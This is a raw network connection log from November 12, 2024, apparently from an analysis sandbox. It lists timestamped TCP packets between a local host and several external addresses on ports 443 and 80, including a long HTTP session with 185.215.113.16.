Nov 12, 2024 04:16:36.866624117 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.866645098 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.866996050 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.867011070 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.877322912 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.877656937 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.877690077 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.878053904 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.878065109 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.954148054 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:36.954189062 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:36.954406977 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:36.954596996 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:36.954612970 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:36.964240074 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.964473009 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.964579105 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.964642048 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.964642048 CET	49895	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.964662075 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.964694977 CET	443	49895	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.967684984 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.967720985 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.967964888 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.967964888 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.967994928 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.979396105 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.980256081 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.980256081 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:36.980277061 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:36.980292082 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.000679970 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.000834942 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.001256943 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.001291990 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.001291990 CET	49896	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.001307964 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.001317024 CET	443	49896	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.004653931 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.004720926 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.004844904 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.005000114 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.005012035 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.010662079 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.010793924 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.010967970 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.011131048 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.011131048 CET	49894	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.011147022 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.011156082 CET	443	49894	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.013297081 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.013314009 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.013555050 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.013556004 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.013576984 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.132014990 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.132071972 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.132325888 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.132394075 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.132394075 CET	49897	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.132409096 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.132432938 CET	443	49897	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.138616085 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.138632059 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.138786077 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.138997078 CET	49904	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.139007092 CET	443	49904	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.305232048 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.305264950 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.305316925 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.305351973 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.305372953 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.305392981 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.305846930 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.305846930 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.305862904 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.305980921 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.306006908 CET	443	49892	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.306206942 CET	49892	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.369719982 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369735003 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369745970 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369869947 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369879007 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.369879007 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.369880915 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369893074 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.369918108 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.370007992 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.370017052 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.370019913 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.370033026 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.370042086 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.370054960 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.370068073 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.370112896 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.374757051 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.374768972 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.374783993 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.374855042 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.374855042 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.374903917 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.375108957 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.474653959 CET	49905	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.474703074 CET	443	49905	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.474843979 CET	49905	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.492718935 CET	49905	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:37.492746115 CET	443	49905	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:37.529647112 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.529683113 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.529692888 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.529707909 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.529720068 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.529791117 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.529891014 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530019999 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530030966 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530040979 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530093908 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530093908 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530371904 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530381918 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530392885 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530412912 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530426025 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530438900 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.530441046 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530441046 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530487061 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.530487061 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.531263113 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531274080 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531286955 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531301022 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531317949 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531332970 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.531337976 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.531337976 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.531354904 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.531595945 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.532114029 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.532159090 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.532172918 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.532183886 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.534372091 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.534579039 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.542593002 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.556261063 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.560534000 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.560554028 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.561454058 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.561564922 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.562524080 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.562582016 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.562903881 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.562912941 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.598419905 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.618269920 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.640700102 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.640717983 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.641468048 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.641473055 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.686923981 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.686942101 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.687052011 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.687082052 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.688364029 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688379049 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688389063 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688437939 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.688446999 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.688471079 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688481092 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688494921 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.688592911 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688601971 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688616037 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.688683033 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688714027 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.688750982 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688761950 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688771963 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.688795090 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689178944 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689189911 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689203024 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689205885 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689218998 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689228058 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689229965 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689266920 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689266920 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689637899 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689649105 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689661026 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689685106 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689730883 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.689903021 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689914942 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689927101 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.689949036 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690026999 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690038919 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690051079 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690052986 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690066099 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690077066 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690079927 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690083981 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690129995 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690129995 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.690890074 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690901041 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690912008 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690960884 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690972090 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690985918 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.690988064 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691000938 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691009998 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691013098 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691036940 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691905022 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691916943 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691927910 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691932917 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691947937 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691956043 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691961050 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691972017 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.691975117 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.691987991 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692002058 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692006111 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692006111 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692023993 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692042112 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692042112 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692820072 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692831993 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692842960 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692861080 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692869902 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692869902 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692874908 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.692886114 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.692899942 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.694403887 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.695954084 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.730540991 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.730555058 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.737216949 CET	49901	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.737221956 CET	443	49901	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.741146088 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.750174046 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.756762028 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.756793022 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.760551929 CET	49902	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.760572910 CET	443	49902	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.764668941 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.764676094 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.772386074 CET	49903	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.772391081 CET	443	49903	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.772706985 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.772777081 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.772836924 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.780395031 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.780411959 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.780426025 CET	49899	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.780431032 CET	443	49899	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.803644896 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.803719044 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.842366934 CET	49906	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.842389107 CET	443	49906	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.842462063 CET	49906	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.844732046 CET	49900	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:37.844759941 CET	443	49900	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:37.847414970 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847491026 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847529888 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847542048 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847552061 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847564936 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847573042 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847582102 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847594976 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847605944 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847618103 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847621918 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847635984 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847655058 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847907066 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847928047 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847938061 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.847970009 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.847990036 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848077059 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848088980 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848100901 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848112106 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848129034 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848165035 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848293066 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848304987 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848316908 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848331928 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848360062 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848361969 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848375082 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848386049 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848397017 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848400116 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848413944 CET	49906	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:37.848419905 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848422050 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848428965 CET	443	49906	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:37.848431110 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848462105 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848474026 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848823071 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848871946 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848880053 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848910093 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848949909 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.848952055 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848963976 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.848989010 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849004030 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849008083 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849020958 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849061966 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849277020 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849296093 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849307060 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849334002 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849354029 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849360943 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849366903 CET	80	49898	185.215.113.16	192.168.2.5
Nov 12, 2024 04:16:37.849386930 CET	49898	80	192.168.2.5	185.215.113.16
Nov 12, 2024 04:16:37.849402905 CET	49898	80	192.168.2.5	185.215.113.16
